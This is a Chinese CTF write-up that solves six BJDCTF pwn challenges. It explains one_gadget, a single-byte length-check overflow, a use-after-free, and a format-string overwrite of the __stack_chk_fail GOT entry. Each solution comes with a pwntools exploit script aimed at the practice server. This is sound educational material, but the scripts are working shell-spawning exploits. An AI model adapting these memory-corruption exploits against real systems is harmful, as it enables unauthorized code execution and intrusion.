BJDCTF-writeup

BJDCTF的writeup,前几道题目都比较友好。

1 one_gadget

1.1 题目分析


点开init函数,里面有一个泄露了printf的地址,是这个题目给的额外条件吧。

再看题目可知我们输入了一个地址,然后就直接执行那个地址就可以getshell,是不是很厉害,这就是one_gadget.

1.2 关于one_gadget 更详细的介绍

one-gadgetglibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh"),这个时候one gadget就可以搞定了。

我们一般用one_gadget这个工具来寻找这样的gadget。

1.3 如何利用工具寻找one_gadget

  1. 如果远程的libc版本和你本地一样,或者你想在本地试验时,先用ldd 文件名命令找到自己本地的libc目录

    然后再用刚才安装好的工具查看libc文件就可以找到one_gadget对于libc的偏移了。

  2. 如果题目给你了它远程的libc文件的话,直接对那个libc文件使用就行

1.4 对于one_gadget的一点经验

  • 那个红色constraints就是调用这个gadget需要满足的条件,一般64位的很好满足,32位的基本用不了。
  • 一个用不了可以多试几个后面的。
  • 前期栈题可能用到的不多,后面堆题经常用来作为劫持malloc_hook的内容,也可以配合realloc_hook来调整栈环境使得满足one_gadget的利用条件。

    1.5 exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    context.log_level = 'debug'
    #sh = process('./one_gadget')
    libc = ELF('./libc-2.29.so')
    sh = remote("node3.buuoj.cn",27231)
    sh.recvuntil("here is the gift for u:")
    #gdb.attach(sh)
    libc_base = int(sh.recvuntil('\n')[:-1],16) - libc.symbols['printf']
    log.success('libc_addr: ' + hex(libc_base))
    one_gadget = libc_base +0x106ef8
    sh.sendline(str(one_gadget))
    sh.interactive()

2 r2t3

2.1题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]

my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
```
`read`了0x400大小,但是并没有溢出,再让我们看下这个`name_check`
```C
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}

读入的长度只要小于3或者大于8都会直接将程序结束,看起来好像没有漏洞,但是注意这个v3是个__int8的,也就是只有一个字节,只要我们的长度足够大,就可以将这个长度溢出到我们需要的范围,进而在strcpy的时候构成栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#sh = process('./r2t3')
sh = remote('node3.buuoj.cn',29481)
door = 0x804858B
payload = 'a'*0x15
payload += p32(door)
payload += 'a'*237
sh.recvuntil("[+]Please input your name:\n")
#gdb.attach(sh)
sh.sendline(payload)

sh.interactive()

3 girlfriend

这道题是个uaf,挺简单,刚学堆的可以做一下这个题熟悉一下堆题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#sh = process('./ydsneedgirlfriend2')
sh = remote('node3.buuoj.cn',28207)
context.log_level = 'debug'
def add(size,content):
sh.recvuntil("u choice :\n")
sh.sendline('1')
sh.recvuntil("Please input the length of her name:\n")
sh.sendline(str(size))
sh.recvuntil("Please tell me her name:\n")
sh.send(content)

def dele(idx):
sh.recvuntil("u choice :\n")
sh.sendline('2')
sh.recvuntil("Index :")
sh.sendline(str(idx))

door = 0x400D86
#gdb.attach(sh)
add(0x10,'a'*0x10)
#dele(1)
#dele(1)
dele(0)
add(0x10,'a'*0x8+p64(door))
sh.recvuntil("u choice :\n")
sh.sendline('3')
sh.recvuntil("Index :")
sh.sendline('0')

#add(0x10,'a'*0x8+p64(door))

sh.interactive()

4 r2t4

一道格式化字符串题目

4.1题目分析

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL);
printf(&buf, &buf);
return 0;
}

这里的buf可以直接溢出,有后门函数,但是开启了canary保护。

直接把后门函数的地址写到其它函数的got表里行不通,因为后面没有别的函数调用了

注意到我们触发canary的话

也会输出一个stack smashing detect ***这种东西

1
2
3
4
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

其实就是上面这个函数,我们可以通过劫持这个函数的got来拿shell

4.2 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'
#sh = process('./r2t4')
sh = remote('node3.buuoj.cn',26917)
fini = 0x600E18
door = 0x400626
stack_ch = 0x601018
index = 8
payload = 'bbbbb'
payload += '%' + str(0x626-5) +'c'
payload += '%' + str(index) + '$hn'
payload += p64(stack_ch)
payload += 'a'*0x20
#gdb.attach(sh)

sh.send(payload)

sh.interactive()

5 test

用od ????来读flag就行,还有类似*这样的通配符,很神奇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import binascii
from pwn import *
asc = '''
066146 063541 032173 061067 031143 031067 026461 062470
034146 032055 033146 026463 062142 031462 061055 031544
062142 030467 061542 060544 076470
'''
flag = ''
for i in range(1,len(asc),7):
a = asc[i:i+6]
log.info('a = ' + a)
num = int(a,8)
h = hex(num)[2:]
s = binascii.a2b_hex(h)
s = s[::-1]
log.info(s)
flag += s
log.success(flag)

6 secret

有一个buf那个地方可以溢出到后面的一个变量,在后面每次执行的时候那个变量指向的内容都会减一,所以可以把这个地方溢出成printf的got表,手动过16次就ok了

1
2
3
4
5
6
7
from pwn import *
#sh = process('./secret')
sh = remote('node3.buuoj.cn',27147)
sh.recvuntil(" What's your name? ________________ #")
payload = '/bin/sh\x00' + p64(0) +'\x40\xd0\x46'
sh.sendline(payload)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +